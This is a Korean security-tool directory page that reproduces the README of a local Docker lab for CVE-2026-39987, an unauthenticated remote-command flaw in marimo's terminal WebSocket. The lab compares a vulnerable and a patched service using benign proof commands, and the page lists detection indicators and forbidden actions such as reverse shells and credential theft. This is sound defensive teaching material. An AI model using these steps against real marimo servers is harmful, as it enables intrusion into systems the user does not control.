Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987-Lab — # CVE-2026-39987 로컬 Docker 랩 marimo의 터미널 WebSocket에서 발생하는 사전 인증 RCE(원격 코드 실행) 취약점인 CVE-2026-39987을 재현하는 로컬 Docker 랩입니다. 취약한 버전과 패치된 버전을 비교하며, 교육용 보안 연구를 위한 최소 피해 PoC 스크립트를 제공합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-39987-lab
Container SecurityVulnerability AnalysisExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-39987-lab

CVE-2026-39987-Lab

# CVE-2026-39987 로컬 Docker 랩 marimo의 터미널 WebSocket에서 발생하는 사전 인증 RCE(원격 코드 실행) 취약점인 CVE-2026-39987을 재현하는 로컬 Docker 랩입니다. 취약한 버전과 패치된 버전을 비교하며, 교육용 보안 연구를 위한 최소 피해 PoC 스크립트를 제공합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
13개월 전아직 검토되지 않음

CVE-2026-39987 — marimo 사전 인증 터미널 WebSocket RCE 실습 환경

marimo의 CVE-2026-39987을 재현하고 이해하기 위한 로컬 전용 Docker 실습 환경입니다. 이 프로젝트는 취약한 marimo 서비스와 패치된 marimo 서비스를 나란히 비교한 다음, 최소 피해 증명 스크립트를 사용하여 차이를 보여줍니다.


요약

CVE-2026-39987은 반응형 Python 노트북 프레임워크인 marimo의 심각한 사전 인증 원격 코드 실행 취약점입니다.

취약한 동작은 터미널 WebSocket 엔드포인트에 존재합니다:

root@kitploit:~
/terminal/ws

영향을 받는 버전에서는 이 엔드포인트에 유효한 인증 없이 접근할 수 있으며 대화형 터미널 세션을 생성할 수 있습니다. 취약한 marimo 편집 서버에 접근할 수 있는 인증되지 않은 공격자는 marimo 프로세스의 권한으로 명령을 실행할 수 있습니다.

이 실습 환경은 통제된 로컬 Docker 환경에서 취약점을 재현합니다:

서비스버전URL예상 동작
vulnmarimo 0.20.4http://127.0.0.1:8081/terminal/ws가 인증되지 않은 WebSocket 연결을 수락함
patchedmarimo 0.23.0http://127.0.0.1:8082/terminal/ws가 인증되지 않은 WebSocket 연결을 403 Forbidden으로 거부함

목표는 무기화된 익스플로잇을 제공하는 것이 아닙니다. 목표는 로컬 전용의 재현 가능한 증거를 사용하여 취약한 버전과 패치된 버전 사이의 관찰 가능한 보안 차이를 보여주는 것입니다.


취약점 개요

영향받는 구성 요소

영향받는 구성 요소는 marimo의 터미널 WebSocket 엔드포인트입니다:

root@kitploit:~
/terminal/ws

이 엔드포인트는 marimo 편집 환경에서 브라우저 연결 WebSocket 세션을 통해 터미널 기능을 제공하는 데 사용됩니다.

근본 원인

취약한 엔드포인트는 보호된 marimo 편집 기능에 기대되는 동일한 인증 검사를 적용하지 않고 WebSocket 연결을 수락했습니다.

중요한 차이점은 다음과 같습니다:

root@kitploit:~
취약한 동작:
  인증되지 않은 클라이언트가 /terminal/ws에 연결할 수 있음
  터미널 세션이 생성됨
  WebSocket을 통해 명령을 보낼 수 있음

패치된 동작:
  인증되지 않은 클라이언트는 거부됨
  WebSocket 핸드셰이크가 403 Forbidden으로 실패함
  터미널 세션이 생성되지 않음

패치는 터미널 세션이 설정되기 전에 터미널 WebSocket 흐름에 인증 검증을 추가합니다.

영향

취약한 marimo 편집 서버가 접근 가능한 네트워크에 노출된 경우, 인증되지 않은 공격자가 marimo 프로세스를 실행하는 사용자로 명령을 실행할 수 있습니다.

이 실습 환경에서는 marimo 프로세스가 의도적으로 낮은 권한의 비-root 사용자로 실행됩니다:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

이렇게 하면 취약점을 입증하면서도 데모를 더 안전하게 유지할 수 있습니다.


실습 환경 목표

이 실습 환경은 세 가지를 입증하도록 설계되었습니다:

  1. 취약한 버전은 /terminal/ws에 대한 인증되지 않은 WebSocket 연결을 수락합니다.
  2. 인증되지 않은 터미널 WebSocket을 통해 무해한 명령을 실행할 수 있습니다.
  3. 패치된 버전은 동일한 인증되지 않은 WebSocket 시도를 403 Forbidden으로 거부합니다.

이 실습 환경은 의도적으로 파괴적인 명령, 지속성, 리버스 셸, 자격 증명 덤프 또는 인터넷 노출 대상을 피합니다.


저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── notebook.py
├── patched/
│   ├── Dockerfile
│   └── notebook.py
├── poc/
│   ├── poc.py
│   ├── rce_poc.py
│   └── requirements.txt
├── SAFETY.md
├── README.md
└── .gitignore

주요 파일


실습 환경 아키텍처

root@kitploit:~
호스트 머신

127.0.0.1:8081  ─────►  vuln 컨테이너
                         marimo 0.20.4
                         /terminal/ws가 인증되지 않은 WebSocket 수락

127.0.0.1:8082  ─────►  patched 컨테이너
                         marimo 0.23.0
                         /terminal/ws가 인증되지 않은 WebSocket 거부

두 서비스 모두 marimo의 내부 포트 2718을 노출하지만 호스트 포트는 다릅니다:

root@kitploit:~
vuln    -> 127.0.0.1:8081
patched -> 127.0.0.1:8082

서비스는 127.0.0.1에만 바인딩됩니다. LAN 또는 인터넷에 노출되도록 설계되지 않았습니다.


Docker 강화 참고 사항

컨테이너는 가능한 경우 여러 안전장치로 구성됩니다:

root@kitploit:~
- 포트를 127.0.0.1에만 바인딩
- 비-root 사용자로 실행
- Linux capabilities 제거
- no-new-privileges 활성화
- 읽기 전용 루트 파일시스템 사용
- 제한된 tmpfs 쓰기 위치만 제공
- 전용 Docker 브리지 네트워크 내에서 서비스 격리

이러한 통제는 취약한 서비스에서 취약점을 제거하지 않습니다. 로컬 데모의 폭발 반경을 줄일 뿐입니다.


사전 요구 사항

테스트된 가정:

root@kitploit:~
- Docker Desktop이 있는 Linux x86_64 또는 macOS
- Docker Compose v2
- Python 3.9+
- localhost 전용 테스트

필요한 도구:

root@kitploit:~
docker --version
docker compose version
python3 --version

설정

프로젝트 디렉토리로 이동하거나 진입합니다:

root@kitploit:~
cd cve-2026-39987

두 서비스를 빌드하고 시작합니다:

root@kitploit:~
docker compose up -d --build

두 컨테이너가 실행 중인지 확인합니다:

root@kitploit:~
docker compose ps

예상 서비스:

root@kitploit:~
cve-2026-39987-vuln
cve-2026-39987-patched

버전 확인

취약한 서비스 버전 확인:

root@kitploit:~
docker compose exec vuln marimo --version

예상 결과:

root@kitploit:~
0.20.4

패치된 서비스 버전 확인:

root@kitploit:~
docker compose exec patched marimo --version

예상 결과:

root@kitploit:~
0.23.0

PoC 종속성 설치

Python 가상 환경 생성:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

종속성 설치:

root@kitploit:~
python -m pip install -r poc/requirements.txt

최소 피해 PoC

기본 증명 스크립트는 다음과 같습니다:

root@kitploit:~
poc/poc.py

다음에 연결을 시도합니다:

root@kitploit:~
/terminal/ws

그런 다음 무해한 증명 명령만 보냅니다:

root@kitploit:~
id
whoami
hostname

리버스 셸, 파일 쓰기, 지속성, 자격 증명 접근 또는 파괴적인 명령은 사용되지 않습니다.

취약한 서비스 테스트

실행:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081

예상 결과:

root@kitploit:~
[*] Target WebSocket: ws://127.0.0.1:8081/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[+] websocket connected without credentials
[result] VULNERABLE: unauthenticated command execution observed
[proof]
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
<container-hostname>

스크립트가 원시 터미널 출력을 인쇄하지만 다음 블록을 포함하면 취약점이 여전히 확인된 것입니다:

root@kitploit:~
CVE39987_PROOF_START
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
<container-hostname>
CVE39987_PROOF_END

이는 WebSocket 연결이 성공했고 터미널 세션에서 명령 출력이 반환되었음을 의미합니다.

패치된 서비스 테스트

실행:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082

예상 결과:

root@kitploit:~
[*] Target WebSocket: ws://127.0.0.1:8082/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[-] websocket connection rejected/failed: Handshake status 403 Forbidden
[result] not exploitable by this unauthenticated check

이는 패치된 서비스가 터미널 세션을 생성하기 전에 인증되지 않은 접근을 거부함을 보여줍니다.


실시간 학습 클라이언트

아래 파일은 로컬 학습 전용입니다:

root@kitploit:~
poc/rce_poc.py

취약한 터미널 WebSocket에 연결하고 터미널 상호 작용을 허용하여 동일한 문제를 더 실시간으로 보여줍니다.

로컬 Docker 실습 환경에 대해서만 사용하십시오.

취약한 서비스에 대해 실행

root@kitploit:~
python poc/rce_poc.py --base-url http://127.0.0.1:8081

예상 동작:

root@kitploit:~
[+] Connected successfully (Pre-Auth RCE)
✓ Interactive shell is ready to use!

시도해 볼 수 있는 안전한 명령:

root@kitploit:~
id
whoami
hostname
pwd
python -c 'import marimo; print(marimo.__version__)'
exit

패치된 서비스에 대해 실행

root@kitploit:~
python poc/rce_poc.py --base-url http://127.0.0.1:8082

예상 동작:

root@kitploit:~
[-] Connection Failed: 403 Forbidden
[!] This is likely the PATCHED version.
    The WebSocket endpoint is now protected.

실시간 모드 안전 참고 사항

실시간 클라이언트는 취약한 WebSocket이 어떻게 동작하는지 이해하는 데 도움을 주기 위해 존재합니다. 이 로컬 실습 환경 외부의 어떤 시스템에도 사용해서는 안 됩니다.

포트폴리오 게시를 위해 권장되는 기본 증거는 여전히 poc/poc.py입니다. 제한적이고 반복 가능하며 최소 피해이기 때문입니다.


예상 보안 차이

주요 실습 환경 결과는 다음과 같이 요약되어야 합니다:

root@kitploit:~
vuln / marimo 0.20.4:
  /terminal/ws에 대한 인증되지 않은 WebSocket 핸드셰이크 성공
  무해한 명령 출력이 관찰 가능

patched / marimo 0.23.0:
  /terminal/ws에 대한 인증되지 않은 WebSocket 핸드셰이크 실패
  서버가 403 Forbidden 반환
  터미널 세션이 생성되지 않음

이것이 CVE 재현의 핵심 증거입니다.


수동 WebSocket 확인

동작을 수동으로 검사하려면 WebSocket 지원 클라이언트를 사용하여 다음에 연결하십시오:

root@kitploit:~
ws://127.0.0.1:8081/terminal/ws
ws://127.0.0.1:8082/terminal/ws

예상 결과:

root@kitploit:~
8081 -> 연결 수락
8082 -> 403 Forbidden

PoC 스크립트가 더 명확한 증거를 생성하므로 선호됩니다.


탐지 및 모니터링 아이디어

실제 환경에서 유용한 지표는 다음과 같습니다:

root@kitploit:~
- /terminal/ws에 대한 WebSocket 요청
- marimo 편집 서버에 대한 인증되지 않은 접근 시도
- marimo가 생성한 예기치 않은 터미널 세션
- marimo 프로세스가 실행한 명령
- .env, SSH 키, 클라우드 자격 증명 또는 노트북 비밀에 대한 접근
- /terminal/ws 연결 직후의 아웃바운드 네트워크 트래픽

검사할 로컬 아티팩트 예시:

root@kitploit:~
docker compose logs vuln
docker compose logs patched
docker compose ps
docker compose exec vuln ps aux

정리

컨테이너 중지 및 제거:

root@kitploit:~
docker compose down

볼륨도 제거:

root@kitploit:~
docker compose down -v

로컬 Python 가상 환경 제거(원하는 경우):

root@kitploit:~
rm -rf .venv

안전 규칙

이 저장소는 로컬 보안 연구 및 포트폴리오 데모 전용입니다.

허용:

root@kitploit:~
- localhost 테스트
- Docker 전용 재현
- id, whoami, hostname과 같은 무해한 증명 명령
- 취약한 동작과 패치된 동작 비교
- 근본 원인 및 탐지 아이디어 문서화

금지:

root@kitploit:~
- 공개 marimo 서버에 대한 테스트
- 소유하거나 관리하지 않는 시스템 테스트
- 리버스 셸
- 지속성
- 자격 증명 탈취
- 파괴적인 명령
- 측면 이동
- 봇넷 또는 악성코드 동작

면책 조항

이 프로젝트는 승인된 로컬 테스트 및 방어적 보안 교육 전용입니다. 소유하지 않거나 테스트할 명시적 권한이 없는 시스템에 대해 이러한 스크립트를 사용하지 마십시오.


참고 자료

  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc:
    https://github.com/advisories/GHSA-2679-6mx9-h9xc

  • NVD — CVE-2026-39987:
    https://nvd.nist.gov/vuln/detail/CVE-2026-39987

  • marimo 업스트림 저장소:
    https://github.com/marimo-team/marimo

  • 패치 커밋 — 터미널 WebSocket에 인증 검증 추가:
    https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a

  • 패치 PR — marimo PR #9098:
    https://github.com/marimo-team/marimo/pull/9098

도구 다운로드
파일용도
docker-compose.yml취약한 marimo 서비스와 패치된 marimo 서비스를 정의함
vuln/Dockerfile취약한 marimo 서비스를 빌드함
patched/Dockerfile패치된 marimo 서비스를 빌드함
vuln/notebook.py취약한 서비스에서 사용하는 최소 marimo 노트북 파일
patched/notebook.py패치된 서비스에서 사용하는 최소 marimo 노트북 파일
poc/poc.py무해한 명령만 실행하는 최소 피해 증명 스크립트
poc/rce_poc.py로컬 실습 환경에서 터미널 동작을 관찰하기 위한 실시간 학습 클라이언트
poc/requirements.txtPoC 스크립트용 Python 종속성
SAFETY.md안전 규칙 및 범위 경계